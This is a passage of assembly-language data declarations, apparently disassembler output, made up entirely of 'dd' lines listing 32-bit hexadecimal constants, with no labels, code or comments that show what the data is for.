		dd 881FD198h, 739C000Dh, 96279D4h, 26F858B1h, 5CC4130Fh
		dd 3C1447C3h, 8FC7ECB7h, 65D793D7h, 43373232h, 0F82CB82Eh
		dd 917C7Eh, 0C40A3859h,	103FD1F2h, 0E29CE900h, 0D403C2Ch
		dd 0D2430123h, 0E9D20F1h, 0CCA9E7Ch, 6B6214C7h,	0A71CE5D0h
		dd 41EE24Eh, 0EC9D60E9h, 72A1C0FBh, 90E3C4h, 15490B01h
		dd 0D29EB10Fh, 3DD324F0h, 4F9F5AB7h, 882CC32Eh,	0D88C4A5h
		dd 0D6001308h, 5C953B9Dh, 0F23467h, 0D2FA0206h,	1DCEA71Fh
		dd 0C0719C27h, 13CAB3BAh, 7203Ch, 131FD388h, 771E6E27h
		dd 9E40E802h, 5B33E90Ch, 6A5800C9h, 3C9485D3h, 5F7FA1FFh
		dd 46710800h, 0AC0E4CC5h, 0D34A009Dh, 0FF5EFA2Dh, 0AEFAA410h
		dd 0C4877303h, 0F8F0040Fh, 8233Fh, 59B43842h, 0D424C212h
		dd 1C941F18h, 489F2B56h, 4607351Ah, 0F069C418h,	0FEA53F28h
		dd 42FEE9B8h, 32C66F03h, 0D86ADF7Eh, 7D49B78h, 0E1189185h
		dd 682EEA2h, 0D0401A81h, 41097C34h, 42D4D905h, 0B51F409Fh
		dd 0C110185h, 14F9D521h, 0A029DC0Ah, 35B2A407h,	38C067A1h
		dd 1F28B518h, 8F425CFFh, 522FD79h, 11601B81h, 9F50D59Ah
		dd 8900BDC0h, 4724A086h, 0FDC82FAh, 0EF8F1BBCh,	7B9180DCh
		dd 0B073EB89h, 0D237D400h, 4876AFF7h, 0B90707D5h, 40F823F0h
		dd 3DEE9779h, 374D0B00h, 2D840932h, 7C2E39D6h, 79F92300h
		dd 0C843E860h, 68968C05h, 0CF8037EAh, 5876621Eh, 5E1D0DD6h
		dd 24A1C0C2h, 0CA8C51E9h, 0C21924CFh, 6012020Eh, 17D6AD7Bh
		dd 1A19962h, 0CF922076h, 132BCC31h, 0C4302301h,	0D70E0409h
		dd 4C10C8E4h, 0C44CA4F1h, 56001B3Fh, 92E9E2C9h,	38031369h
		dd 0F389A844h, 75F3BF22h, 8F0CD0A2h, 0D7C007E2h, 0AFAC2116h
		dd 5781CA0h, 2E5CEC83h,	6F1006Eh, 0AD82401h, 15383DF2h
		dd 0DE8159BBh, 14CA6927h, 44BC200Dh, 1A08061Fh,	85CE9C5Fh
		dd 71A32088h, 0F581E18h, 42D3AC39h, 0C0BFC4E7h,	2F8F0838h
		dd 78D2BD48h, 0FD4E0200h, 6FEEA953h, 22E64Ch, 73D930F1h
		dd 9A3FE23Ch, 6EEC3200h, 0CB4B08B0h, 0FF5008Ch,	0BBD95C80h
		dd 0A407723Bh, 0E841EE33h, 2704B750h, 5200006h,	0A2C51B46h
		dd 3B0BCBD9h, 5F33A674h, 57A44801h, 0E36D206Eh,	0D5B13700h
		dd 1C290BD9h, 0E9880033h, 256E2ECAh, 37E64CE5h,	30943A05h
		dd 0F1C0F8FEh, 996DA2Fh, 0FFADD638h, 81CC9704h,	0F65D04EEh
		dd 3BC0A142h, 1403B8A3h, 2154369Eh, 3865E9A1h, 1965820h
		dd 2B93A546h, 0F7D41401h, 50F1B7D3h, 248DF0C9h,	43F4FD00h
		dd 20DE20Ch, 1FDB1629h,	0FFFB050Ah, 8C9982F0h, 435B68C0h
		dd 213400FDh, 4FB901A2h, 62152390h, 4216F4A0h, 95841801h
		dd 810868A6h, 0D38E41DEh, 1F3CB2F8h, 80C82314h,	0A70F9F4Bh
		dd 9D4C383Ah, 6390Eh, 89ACDC2Fh, 244C17h, 0E1C2A508h, 0E5C37B74h
		dd 14E25C00h, 1812225Eh, 0B91F00F2h, 0E63EFC32h, 5002A292h
		dd 46723128h, 211861CEh, 28F9DCECh, 0D84C38h, 25D3E888h
		dd 481F04BAh, 0DCD18900h, 336A5971h, 0C6FE61h, 963126A7h
		dd 484678Ah, 36DD4Ch, 0E92032A6h, 3093F8h, 5A68C525h, 2F65339Ah
		dd 0DD58C200h, 0FECA2ECDh, 0CF7003D0h, 89622DB9h, 0BD2F6DE1h
		dd 0BBD18018h, 59152785h, 0F7CF7E0Ah, 16D810D5h, 7BA81DC4h
		dd 0DE02C02Eh, 0FF9434B2h, 1F7233Eh, 79907349h,	0C8EA4F18h
		dd 0DE5D66h, 843C477Eh,	0FD8BD06Fh, 878F103Dh, 0B8D20FCh
		dd 4135BCA2h, 5BECCEADh, 5909Dh, 93A946C3h, 18F418Ah, 63CF370Fh
		dd 0F611A756h, 89B8A5D0h, 2DCE30E5h, 800CE882h,	87DF5700h
		dd 6E7830E4h, 56D15C46h, 390271Fh, 9E083537h, 1DD980D5h
		dd 4D0793FDh, 8448DA5Ch, 0BD2CDFB0h, 8AAA3A43h,	0C7EB3780h
		dd 0E008626Dh, 4235710Fh, 571CC3F4h, 3E5AF80Ch,	0EC8A785Bh
		dd 0E9400E9h, 95E06B27h, 157BCE48h, 799CD707h, 13B0499Dh
		dd 165AB1BCh, 5B29D2h, 7BCA97D7h, 8BFEE484h
		dd 0D02410F0h, 3C001CABh, 1B5817B9h, 2ED3B0E1h,	1C80762h
		dd 8B972847h, 453A3081h, 0E17E1AC0h, 0F3CE415h,	0B5800778h
		dd 0C4E28D00h, 200131D3h, 562A4E1Eh, 2CF4F712h,	43E30013h
		dd 0F23088ACh, 540FB274h, 0A0E22E24h, 87AD1A58h, 0E4100011h
		dd 0F2E55DF3h, 9A7FF494h, 994509Fh, 0E75EE289h,	0C2232440h
		dd 0D70478F0h, 44149DD4h, 954B7BC1h, 0E3A5C480h, 0F382A0C7h
		dd 6D703E00h, 10ADFF02h, 87D50011h, 16E33DE2h, 33001453h
		dd 44A2D84Ah, 2C2A3FEDh, 0DFDCCBh, 62A0C5A5h, 0B5B0E390h
		dd 0C82E0C7Ah, 0D80002EEh, 0E160B8C3h, 0F2EFEC7h, 3354A06Bh
		dd 0AECB25A1h, 942E0CFh, 39D1E42Ch, 0FEC2FF07h,	0D61010C7h
		dd 3959F8Ch, 0E43C09D3h, 221FA171h, 978F43D0h, 6E0915h
		dd 890EF82Ch, 9E60DEE4h, 0D7844353h, 0E1B9B8C4h, 3A2DF4C5h
		dd 8B58AD3Eh, 80AF46CAh, 0B11311D1h, 2EE50C08h,	0FD1EA13Dh
		dd 120C427Fh, 3EE3D70Fh, 4BE5243Bh, 0C6080F9Fh,	3A9666E0h
		dd 28641455h, 71800D7Ah, 6A9647Dh, 4273FE4Eh, 83E60C5h
		dd 7EBCC2h, 0B0C88410h,	79E89FBDh, 0CAE60306h, 0FB50FE34h
		dd 0D21F0E7h, 397DF8D8h, 0AAB49F1Bh, 5B79C894h,	48F0E0h
		dd 0BD1FB57Bh, 436F18E6h, 9C4EEB03h, 0D04F9EA6h, 84AACFh
		dd 1038B193h, 49226FC4h, 43F72400h, 0F3E6D213h,	0CAE100AAh
		dd 0C8730EB1h, 6B00596Fh, 753F0B9Fh, 0BD34B5h, 65D9192Dh
		dd 90E90D99h, 4B3D6E02h, 40EB4CA8h, 50CA88h, 482C6437h
		dd 15BD69C7h, 5600247Ch, 42FE3C44h, 6C849h, 0F861B01Dh
		dd 0B4B5B2A6h, 0E909D001h, 0D17B4A35h, 7DFC7E8h, 88131F59h
		dd 147180DDh, 4A009417h, 8C2A2E2Dh, 0A0492839h,	2CDA2CD0h
		dd 0CB3018h, 15A5854Ah,	5F000922h, 251336E8h, 114DA63h
		dd 4AEFF98Ch, 748F9F6Eh, 2CB02237h, 644B1100h, 50C00E09h
		dd 43B907FCh, 0E6A29EB3h, 0C011C48h, 3FE8F404h,	0B6F8F017h
		dd 0E9860009h, 1F976F7Fh, 3B788999h, 3F2770C0h,	0A0FC65DBh
		dd 66EB692h, 39A66A7Fh,	0B200B272h, 38379976h, 1AED12h
		dd 0BFDE09F6h, 4FC5A32h, 777D15Ch, 841EE9C8h, 38BBCA50h
		dd 44F6489Ah, 48913F00h, 0C82A0435h, 1DEE343Eh,	0EAC0A133h
		dd 0FEB45B7Ch, 0C9F0030Bh, 5570B2FBh, 0C6B985E0h, 0DC541217h
		dd 21AB9600h, 0A25914h,	20901FF6h, 0ACCAD885h, 0C4E1A000h
		dd 0D7941AEAh, 0C9011F10h, 0FBD95EE4h, 61B8EB03h, 2CF304B5h
		dd 0C68B39DAh, 85FF2A0Eh, 0C0B008B2h, 15B7DDDAh, 34658713h
		dd 80062C07h, 0EAC0EB44h, 7AF2138h, 0C4AE23CBh,	803EB5A4h
		dd 0D743D67Ah, 0A746D263h, 0C71C08Ah, 0CB020101h, 0FA2A5E0Eh
		dd 0F4ECDD14h, 0C27E48B7h, 9555DE09h, 7838005Fh, 49800Bh
		dd 3CC685ECh, 4C7F19A4h, 10620300h, 500C91D2h, 0E2140013h
		dd 578922D7h, 43001D5Eh, 0BCF45452h, 3F617433h,	4A1F19CAh
		dd 58120050h, 0C2440827h, 0D4422300h, 488F47BCh, 63F106D2h
		dd 3085F0D1h, 1D587012h, 838BDC1Fh, 0B03002C4h,	9F91E09Ch
		dd 1FE0C6h, 81895153h, 3D83C931h, 41E50C00h, 617D04C0h
		dd 8A4E0017h, 0D76EE086h, 89055036h, 0FAC38303h, 0F6F9FDC0h
		dd 0EB710075h, 0F2F8AFFh, 510712C8h, 5A887AF0h,	0FA802710h
		dd 43B4A056h, 363300F4h, 0C84006E0h, 0D10072C0h, 0E3DD24AAh
		dd 0C65363h, 0C9169418h, 0E06EFDECh, 0FEB82000h, 9134697h
		dd 7048008Ah, 0D3C95D8Dh, 0A200ABE1h, 0A8CE29B6h, 5C0C40E6h
		dd 1C07FA49h, 0C0845B02h, 58760434h, 482DE80Eh,	0C1F0E041h
		dd 9205E6h, 53E2EF39h, 33FB5D40h, 0E945BA00h, 96EB9421h
		dd 0DE175C34h, 0E4C61Fh, 0F224A101h, 2008020h, 1E3CE2E6h
		dd 77C7A0Bh, 3221D4D6h,	38526649h, 0D33F903h, 5870F842h
		dd 0E3002E12h, 32AC50DEh, 0DD0082E0h, 0AF3E7A5h, 2EFB30h
		dd 0DE71BC4Dh, 486877B5h, 41B810F6h, 64565A0Eh,	8D0776A2h
		dd 0F1709A0Ah, 32F922h,	4774348Dh, 91384AA0h, 8ED41400h
		dd 4168F328h, 0D6E2E3h,	30F250E8h, 0FB0A87FAh, 359C2300h
		dd 18324811h, 148E17EAh, 0E1ED0EF1h, 0FC72E98Ch, 0D71CC812h
		dd 79FFC200h, 128F98Dh,	1F2CB21Ah, 206B3064h, 91007FF3h
		dd 3C23BF38h, 404356h, 798D44ECh, 4CF20F48h, 50E43701h
		dd 5554C86Ah, 0C6BEF02Fh, 7F58411Eh, 0ABFA0C47h, 0C85CF6C1h
		dd 32A4C8h, 0F4EAF8ADh,	60E5BE6Ah, 2B00DFB8h, 52F095F6h
		dd 7F64CAC2h, 0FCF40736h, 93BEF949h, 0F0C82E68h, 6C4C115Dh
		dd 4C702624h, 78B21B00h, 906F1Fh, 24B412EBh, 0F39454AEh
		dd 6A64FF00h, 0F64B2D84h, 43621FB6h, 0FAF94F88h, 0E68F72A9h
		dd 1AA6FCA6h, 1DD89058h, 740023BAh, 9CA89846h, 0A051008Fh
		dd 17A4A21Ah, 1100E84Bh, 0D45E4CE9h, 5067F2h, 0BF86A835h
		dd 5157BA9h, 0DFAF6B1Ch, 0E801EA80h, 0CD3A1h, 85AC3B48h
		dd 0D7FC0BA4h, 44C66F00h, 0D4DA2372h, 0E5B00090h, 0C5B5F1CBh
		dd 410156EFh, 539C6ACh,	94DDA37Dh, 1B26D8h, 354EEE5h, 50E902E6h
		dd 4255700h, 0BB8ECB9h,	0AA210048h, 0B2D56D10h,	620035BCh
		dd 0C039D4C2h, 0F8FBF10Fh, 8FC4001Ch, 86E92658h, 4A90C843h
		dd 0CCEA4279h, 8E887500h, 1AD059D6h, 32E361B1h,	21F887D4h
		dd 0D847F817h, 4307AC73h, 0DEDC21EAh, 64599230h, 0C43A13E0h
		dd 0E4D101AFh, 0D8F25B8Dh, 0EB0BD13Bh, 80B10FEDh, 8FEC1C1Bh
		dd 0D2680059h, 0F10EF019h, 0B035AB3h, 9474F421h, 0CF8F883h
		dd 0C11000D6h, 2BEFCA62h, 0A53F35FCh, 0ACE8117h, 47E93101h
		dd 58B5DBDCh, 757DCA29h, 1D087DBBh, 665DFF4Ah, 88D70BE3h
		dd 64002709h, 1823EA14h, 1C435400h, 0D38D20F8h,	886A008Ch
		dd 2C11F528h, 300021AAh, 0E83446FCh, 98518D38h,	40A20E03h
		dd 6A274435h, 12B4E024h, 7300E946h, 0BD504176h,	84F70Dh
		dd 0B7545822h, 2C37AB5Eh, 0C481B117h, 0CF39200h, 1C8F897h
		dd 8B1C98FFh, 608A05D4h, 3F70B92Eh, 8803317Eh, 0DD080B54h
		dd 0EA75A0C1h, 0D4D100FCh, 244832CDh, 727D55CEh, 15FF1F00h
		dd 0F8415708h, 0A4D300E2h, 893E52D4h, 0E4000EE3h, 582F9CFCh
		dd 135C106h, 3104703Ah,	80169D50h, 89B23E6Ah, 0F2535A48h
		dd 44201D21h, 0E1E04h, 118201E1h, 8800A20Fh, 0C0DE8EE0h
		dd 899D5Bh, 594F5ADCh, 0C2E468ACh, 5D411900h, 58118065h
		dd 76BA4CA6h, 883CB73Ch, 3D73007Eh, 2F3E9E8h, 570776A3h
		dd 35D66A7h, 0C7167E10h, 2F040705h, 0D9F89813h,	91B605DFh
		dd 0B0EB6183h, 908816h,	0C3139C59h, 108D23FDh, 281D2F00h
		dd 0D99794FAh, 816201DCh, 46889C04h, 0C7A4CF5Ch, 0A0D5057h
		dd 35004CB8h, 3B55F17Eh, 48A0A3h, 0FD5825D1h, 0B257D027h
		dd 80105D3Dh, 0A1AC457Eh, 78E9A805h, 0BB8ECFFh,	7CF1A22Ah
		dd 0DF3C6E0Fh, 0FC4200F8h, 3A0CBD4Fh, 0D0B90300h, 3BAC558Ch
		dd 0F4730006h, 160CDFFh, 2B008670h, 16F60CE8h, 0ED75F0h
		dd 72E0C17Fh, 8D1C6015h, 0E886C307h, 0CED0F5ABh, 0ECF6C65Fh
		dd 473003Bh, 1176DB85h,	8D00BBC3h, 1A741EBDh, 0F5D46CFh
		dd 571604E4h, 0FB7585h,	5FE7989Ah, 190195E5h, 0AAB07A1Eh
		dd 59F01F42h, 7F3D007Bh, 1472680h, 7600885Bh, 0B005581Dh
		dd 0DF99Fh, 5432559Eh, 0A567A998h, 68385A00h, 96A28B1Dh
		dd 0FE500F77h, 0CE73B32h, 0D32990ECh, 3F010D2Eh, 715CE8F8h
		dd 37C89D5Eh, 66DD0069h, 0F5EA4CE4h, 0F11CFB72h, 588F9648h
		dd 0A50E0012h
		dd 7050945h, 0F36E1055h, 23D6C0F7h, 0B21CADF2h,	34804B58h
		dd 7C0C10Eh, 0FFC31CAAh, 0C2814E04h, 706790E0h,	0C900F8E6h
		dd 6056F138h, 588639B5h, 210FED55h, 0E22A3B1Bh,	32013FDEh
		dd 57F371F2h, 0CE39F82Ch, 7500C1EEh, 973B011h, 3C810C5Dh
		dd 598355C3h, 0F03993F1h, 3FF94AC0h, 9D7FDEECh,	0D958161Dh
		dd 95051083h, 6F298851h, 4140571h, 834A88AAh, 0A2D0F760h
		dd 550F0918h, 7974312h,	0A8F11C10h, 0B8FC943Ch,	3220EF20h
		dd 2411C034h, 2D445582h, 0C401A578h, 25AA1228h,	20E02E26h
		dd 1F70C82Ch, 8130700Ch, 348917h, 0F04B1089h, 25380788h
		dd 0F14A0954h, 413C415Ch, 0FC520283h, 50104E1h,	0F2FAC87Fh
		dd 58D153A9h, 4184D0F3h, 0F31AC418h, 10F908F1h,	7E2C2009h
		dd 3FB81ECh, 5E1E80Eh, 0E64200FFh, 93F8E864h, 627FADC3h
		dd 0AA131418h, 0A8DE921Eh, 0B05F2883h, 28AD70Bh, 0D0FE0BAFh
		dd 7F105481h, 1621C4C9h, 248514C6h, 0C1252A40h,	2A45B884h
		dd 0A93BAE4h, 0B3FC170Ch, 6C8246AAh, 10EAC40h, 0E9210534h
		dd 0E08CA2B3h, 2F150888h, 329B9DF9h, 24965D1Ch,	8F0830h
		dd 0FE4D0BC9h, 0F21E4187h, 0F340F133h, 11046942h, 263AC020h
		dd 0F0E4297Ch, 0B63A106h, 3EDEB027h, 4A3A6E71h,	0A3712ACCh
		dd 66781FC8h, 0A18E3B36h, 13CD1757h, 0E2FE712Eh, 241F52C3h
		dd 4AC72B4Fh, 4476AFBAh, 0C728E60Eh, 0E19539E8h, 8F1D85A4h
		dd 0EA692DB8h, 230FA2C2h, 0CD1C64Ah, 68183FD5h,	0D89A873h
		dd 6390FEB4h, 0AD01E2E3h, 5F3010F0h, 81F6E230h,	60F12F3Ch
		dd 170873EBh, 0A580E0F8h, 0FED400C5h, 0CB93D524h, 5E00280Bh
		dd 64259F1h, 1EBF1C20h,	806CCAC4h, 0A1F36231h, 67370A5Bh
		dd 36F7627Fh, 508EA5AFh, 410FE0C2h, 88FC1428h, 0FCD4F2B4h
		dd 0F228028Dh, 0E615595Fh, 95A893C0h, 830C3ECBh, 0F84A9D99h
		dd 0F0528F1h, 789225FEh, 12E004ECh, 98BC873Fh, 7B8AB4B8h
		dd 6310FCAFh, 5770403Ch, 8F1888F1h, 0C42B65E0h,	5A0C34C4h
		dd 0E890E164h, 4E897F0Fh, 0B719F25Eh, 8124348h,	24483804h
		dd 41002D10h, 0CB06015Eh, 0A90004A3h, 56E0084Eh, 0E2DCBD0Ch
		dd 0C8C900E9h, 461CFE49h, 507E8460h, 272A3Bh, 81792C7Ch
		dd 0B078384Bh, 0AC880369h, 0D6BD8664h, 31CA63F8h, 0E2241700h
		dd 0EF19F003h, 75A82616h, 8C0E0087h, 4001C5A6h,	0CC90130Ch
		dd 756A0E0h, 0A94C99ADh, 700CB07Dh, 3B00788Ah, 18721403h
		dd 75AEF2h, 6A5751B1h, 0DF4FCCA0h, 58F12E14h, 0E3FD00BFh
		dd 33F889E8h, 8A0200EBh, 0C4FEE45Eh, 0F31CEAAAh, 0C8009614h
		dd 0A101B2D8h, 0BE610058h, 1A03E824h, 0FB7E85C3h, 21716D00h
		dd 224D410Dh, 0E91003CDh, 0E4D3DD12h, 0CF9E18D8h, 7F0F2800h
		dd 4572938h, 520A1C17h,	876808h, 4DE5507Bh, 0EB854511h
		dd 2B88C107h, 82305415h, 8B0586h, 67AA7D08h, 0D7870E8h
		dd 45A83Bh, 0B91A5F33h,	77E2F48Ah, 0E971D0h, 0BDD19055h
		dd 0CFA92F1Dh, 3D805207h, 156033D6h, 0EFAD530h,	7A49A0E1h
		dd 0B18091A9h, 0FC4D12AAh, 0F4BDC604h, 0CF80797Ch, 503CC4DAh
		dd 1DD7E20Eh, 29E0F6h, 0CBD2D576h, 0FFC43E1h, 62AFD300h
		dd 0D87553F8h, 0E81900FEh, 5B30FDBFh, 0B009E37Eh, 0FFF089h
		dd 963FF404h, 0DD7000FEh, 9D32B9C6h, 4600B3D6h,	0F01B22F1h
		dd 71931BBh, 6D7AD07Ch,	6028D792h, 0F4369A52h, 56F20300h
		dd 0FE4766A0h, 834B0080h, 94F8FB5Eh, 5C00E94Eh,	410ED5F0h
		dd 3BC6BE85h, 0D880DC87h, 8C3268F9h, 0C00AA99h,	0D0A5869h
		dd 0C4543Ch, 0C83B0983h, 4F1A775h, 24509507h, 7B1EBAEh
		dd 98DBCB52h, 0F98AAAEDh, 1029F8h, 2DA412EEh, 75113B0Fh
		dd 40CB0E00h, 60236B43h, 90DF685h, 0AF7415FFh, 0D7D0FE80h
		dd 0EEF208C0h, 5CB76B17h, 79125F00h, 6517E8h, 1EA19C50h
		dd 4FC38A11h, 71583Ch, 0B5416DE4h, 4A03F9h, 0EA14CA28h
		dd 381AE92Dh, 0E6AB9A50h, 2AB00C00h, 3D372476h,	0E57084h
		dd 358B7774h, 3138067h,	0D7C6600h, 8D63EB0Ah, 98704Eh
		dd 0CEE98309h, 328EAD0h, 0B5121D00h, 0FD049B61h, 0BD420FC6h
		dd 88207FF9h, 87F03F46h, 0B7250F00h, 3C3A7CD9h,	1F8379BAh
		dd 49027403h, 8FD7012Fh, 269F4057h, 0E24C58C9h,	7C1013Bh
		dd 1C8D1F77h, 74CBD402h, 90FA180Eh, 8B0AA0E2h, 7621D50h
		dd 0EB191401h, 298FA008h, 2009258h, 0BA753F4Fh,	851E0Eh
		dd 0FF97CBDBh, 2A903D99h, 9B10041Eh, 0B14A003Fh, 12490801h
		dd 0D0770BF4h, 9A8A9276h, 50E39CFh, 0A1C0CC15h,	48B06CFCh
		dd 5689BD00h, 0A4670C86h, 5C78399Dh, 0CAEC7E80h, 6CBF8DCFh
		dd 0C4A8B914h, 2EA11DFCh, 200C4DCEh, 0F9D3FED6h, 7B21D47h
		dd 40E282D8h, 0D860C75Fh, 0D0016BBh, 538509FBh,	2B2A06h
		dd 21FC9D23h, 0C1A613A9h, 0CA2DB601h, 339125A7h, 0C383C0h
		dd 0B9754E0Ch, 0AF54F3B0h, 0DE2E92CEh, 0A142000h, 6DACE8h
		dd 46D67C6Ah, 5C6384Eh,	8A0E900h, 0A785268Ch, 0A5530098h
		dd 24484F84h, 4400CD59h, 3EEDC515h, 0B22083h, 6B8DB97h
		dd 0E3F66860h, 0EE6A7000h, 0FD11617Bh, 515A0005h, 20FF9340h
		dd 25007FEBh, 0E91F8667h, 16002F6h, 0BAEEEDFDh,	0F399AA43h
		dd 266672A0h, 391DA100h, 50786AEBh, 0B51B005Ah,	657A4686h
		dd 800F274h, 2264C914h,	1DECE830h, 9FD25069h, 38E9403Ah
		dd 0E4906DFCh, 0CF2AC801h, 71BECCAh, 4537880h, 12105C6Eh
		dd 601A881Eh, 196A2381h, 0E07E1FD3h, 0C503688Bh, 13A3C75Bh
		dd 0E03DEB58h, 9F7459Bh, 6461E2FFh, 1C635800h, 58EEB821h
		dd 5F987B00h, 9A29AE26h, 0FE9700D5h, 0C090C9B4h, 9D781507h
		dd 59538800h, 65582321h, 1FE83E09h, 0C6B093h, 0A84955AAh
		dd 727CDDC2h, 35759802h, 601B2405h, 4B2AEEh, 228844FDh
		dd 750D531Ch, 1003A1E4h, 143C3027h, 0BEBD0C7h, 321516DAh
		dd 8FAB1E1Ah, 978FF7h, 9F535255h, 2F024735h, 94098834h
		dd 3268C005h, 4C740036h, 0DC0C3B9Dh, 0BA7B4F77h, 92A3F100h
		dd 0C606A42Ch, 0DBD812BEh, 3BAF0089h, 99CEFC53h, 1000C175h
		dd 9869B8DEh, 0F602779Eh, 0A16100C8h, 4236CF8h,	0BEB0E2D8h
		dd 7800317Ah, 4606EB4Dh, 93AAA7h, 2A6A9C10h, 35FF190Ch
		dd 5859E41Fh, 9800EFDDh, 0D7109586h, 0C4500EBEh, 0A840B925h
		dd 0A62493D9h, 728A300h, 44F5E8A1h, 1A972DDh, 0A86DBE6Bh
		dd 0ECAD61F0h, 0E190B4A4h, 25393505h, 9B035A78h, 0F040D955h
		dd 0C7084h, 0C8C04A83h,	48B90815h, 944B6900h, 6183025h
		dd 91400D8h, 6A351078h,	0C12C4D05h, 0B200DBC8h,	13830FB9h
		dd 918B00EAh, 4915AB0Dh, 730014E5h, 0A1679EBCh,	76D68CEh
		dd 0B8287503h, 0F7AEC00Ch, 0A00577Eh, 0A1532010h, 2B6970h
		dd 6EE056BDh, 8D874114h, 8E2D8300h, 9DE21C3Ch, 45600396h
		dd 0A4365C24h, 0C825A5F8h, 0D5E238F0h, 28918703h, 1D15DCA2h
		dd 410DA10Ah, 422C230Eh, 10E3EF14h, 316CCDB0h, 9A015B00h
		dd 4479D541h, 0AC58B75Eh, 42540E0Eh, 636F006Ch,	704F6Bh
		dd 79617265h, 0DC28E974h, 3CBE4E00h, 3BCDA5Ah, 1D27213h
		dd 6EBA8993h, 0E84EF8E8h, 8B3DAF28h, 5FC6821Fh,	0E07DA8B2h
		dd 1F54B531h, 9E9BE4BAh, 0DD4D808Ah, 586E5769h,	93099417h
		dd 3FC68E00h, 7B1204h, 0AED25F08h, 67099B9h, 80A71ACEh
		dd 0C88C2A6Bh, 95C7011Eh, 3C6DA25Ch, 0F0D6E19Eh, 1500FCE7h
		dd 0C1ACA14Bh, 1EFF1AB9h
		dd 0C03B1009h, 74F12380h, 9600C613h, 49067528h,	210EB25h
		dd 0F6E08BE2h, 0D4C10308h, 0D9B2201Bh, 2A172DF6h, 3E0B70EDh
		dd 0BB078016h, 78E36D21h, 7CEC0090h, 45B49330h,	38032CC1h
		dd 0C8108D34h, 0F90B18ACh, 17E016F2h, 144853Bh,	94DEBF35h
		dd 41E82E82h, 0DFD2001Fh, 7D1F065h, 1A1D01C5h, 80BA23E0h
		dd 8110FC8Fh, 7B14118h,	1F0F6D3Ch, 0E2638388h, 0E07F107Fh
		dd 0F374B300h, 2FFB414Fh, 6C938D4h, 7501195Ch, 900E646Eh
		dd 9AF540C3h, 0F1015D03h, 0A0F4173Ch, 0F3FC5F5Bh, 25FF39ABh
		dd 6103C500h, 101C68C3h, 1F7F4349h, 0D2030A3Dh,	0F0FE9C56h
		dd 1395E480h, 162D7AF4h, 74FCB7h, 0E1014AA6h, 1411967h
		dd 96C1C40Ah, 86CC8137h, 218C1C1Ah, 16880E1Ch, 0CDE0587Fh
		dd 0C7FD7285h, 6A925000h, 0BFACFAEh, 411A0020h,	0D259CFFh
		dd 0BA00084Dh, 0B67E2234h, 0EF4A45h, 3C683061h,	0A4B1340h
		dd 8F910100h, 91A27C2h,	0D5BA00FFh, 6FE5DB55h, 673C7F87h
		dd 3C4500A9h, 85237727h, 8420003Ah, 3ECDE3AAh, 6E00BE69h
		dd 24271355h, 0F90CC864h, 1938FCh, 0FF6A0A07h, 80E39ABBh
		dd 0C3534B02h, 40C8C481h, 0C7B84Dh, 1658E51Dh, 8A306C68h
		dd 6575AC01h, 20C0608h,	509630h, 0E2B0D1C3h, 7A77A8A1h
		dd 8331E900h, 2A742678h, 0FD0D014Dh, 2ABF750h, 0C01ADCBAh
		dd 0C491000h, 0BA21DFAh, 0A3C100DDh, 12135315h,	7D1F42D3h
		dd 684040F4h, 0FFCBDE54h, 2E8F0098h, 8087BCC3h,	11DEB0Ch
		dd 67808386h, 0A302FBB8h, 72E8FE1Ah, 3CDD2C17h,	11BB038Eh
		dd 0C90E319h, 0D003F30Bh, 0FA20CE13h, 7DF09104h, 311BF0h
		dd 0C852C3C0h, 12ECCB3Fh, 20CD0200h, 0E9183C58h, 9414007Eh
		dd 78FB3121h, 6700684Ah, 0E802A07Ch, 56632Dh, 8D0989A2h
		dd 68512470h, 1182E90Eh, 8650C3EBh, 0A9E4F86Ah,	3810053h
		dd 2AF8D906h, 0D700C760h, 0AEB108B9h, 5028BEBFh, 0CAE7A5h
		dd 6AA20312h, 693A957Dh, 0ECBBDE26h, 0C72CEA07h, 2AEBC030h
		dd 7D717A25h, 79DF0061h, 0A9777202h, 0CE00EA54h, 42D7E1AAh
		dd 3371BB5h, 4720B488h,	0C0D0C8BAh, 0B0B01814h,	16218E00h
		dd 9555C2CCh, 41E0015h,	0B2355BD6h, 9B00D9BBh, 89CBBC7Ah
		dd 140F754h, 0D62CC32Fh, 20A1F1ECh, 38011864h, 5877AE4Bh
		dd 6E2688h, 152084F4h, 5F80741h, 2CBE9800h, 0D6AFBA40h
		dd 897E2Fh, 545E52C8h, 0D2E7B712h, 98C73301h, 0F3558DB1h
		dd 299D6C8h, 36C695Dh, 0DE400AEBh, 7307111Dh, 0DE5609BFh
		dd 0F3458A00h, 74C81CFEh, 1601FE0Ah, 28EB2280h,	0E16F70C6h
		dd 3AF60126h, 88F43201h, 18FCF563h, 8721007Ch, 0DC200894h
		dd 56015104h, 0FCDFC053h, 0CAC0E983h, 0F8760397h, 0C909DB31h
		dd 78397480h, 3CAC3700h, 1B1848E8h, 427D0681h, 36F40475h
		dd 44115200h, 8BE7EB49h, 80300006h, 0D745A7Dh, 1600038Ah
		dd 75F5553Ah, 0FEE0EBEDh, 18C002C1h, 89D82901h,	5CDE05Dh
		dd 0FECB7E75h, 0C4F8000Ah, 95595E5Bh, 7100AC74h, 32311004h
		dd 98F6970Dh, 9ED51D71h, 0FF29E40h, 6A4027CFh, 89FA755h
		dd 92037500h, 0B8401F1h, 2B820080h, 0D7FA57E3h,	490089EEh
		dd 5D11A80Dh, 5CBC1Dh, 62102242h, 1668841Ch, 0F6F311Dh
		dd 0CD43BEC7h, 2A96FDA0h, 65AC3B04h, 11B0FB8Ah,	7F326ABh
		dd 406808F1h, 21C443F4h, 0D091CA00h, 2651D788h,	1C7AFEh
		dd 14509765h, 0DB6B5C66h, 0D93DDD01h, 0EB557E96h, 1FF020D4h
		dd 8012C8F4h, 0E60AFFA7h, 0E5A00982h, 6302CE5Fh, 22AA044Bh
		dd 242BE0C9h, 7CC00F0h,	2A7F9058h, 9C030E8Dh, 781E6123h
		dd 2184A860h, 1F1D0066h, 7388E16Ch, 0C200E410h,	0A98F93Dh
		dd 366B080h, 27F07D8Ch,	9FC8FB03h, 0D3002BD6h, 0BD3AB252h
		dd 0B05FF2h, 0FE5B2034h, 0A2441E9Dh, 7B598D00h,	4C1F213Fh
		dd 60EC4850h, 2BCE8700h, 0FD7B5CBh, 0A5180D00h,	15250453h
		dd 358E0385h, 71898608h, 20E8FCCBh, 4300B8D2h, 2DE0516Dh
		dd 700798h, 0CFE89F0Fh,	1812891Bh, 8A5B5800h, 0AB473628h
		dd 349D2665h, 54810062h, 4655F40Fh, 85F51F07h, 5A8021E3h
		dd 0E60081Eh, 67111843h, 0CFB6C441h, 61248F38h,	2C8C40A4h
		dd 5E773Fh, 0F430C89Bh,	7E8923F3h, 71F25000h, 0C5448FC6h
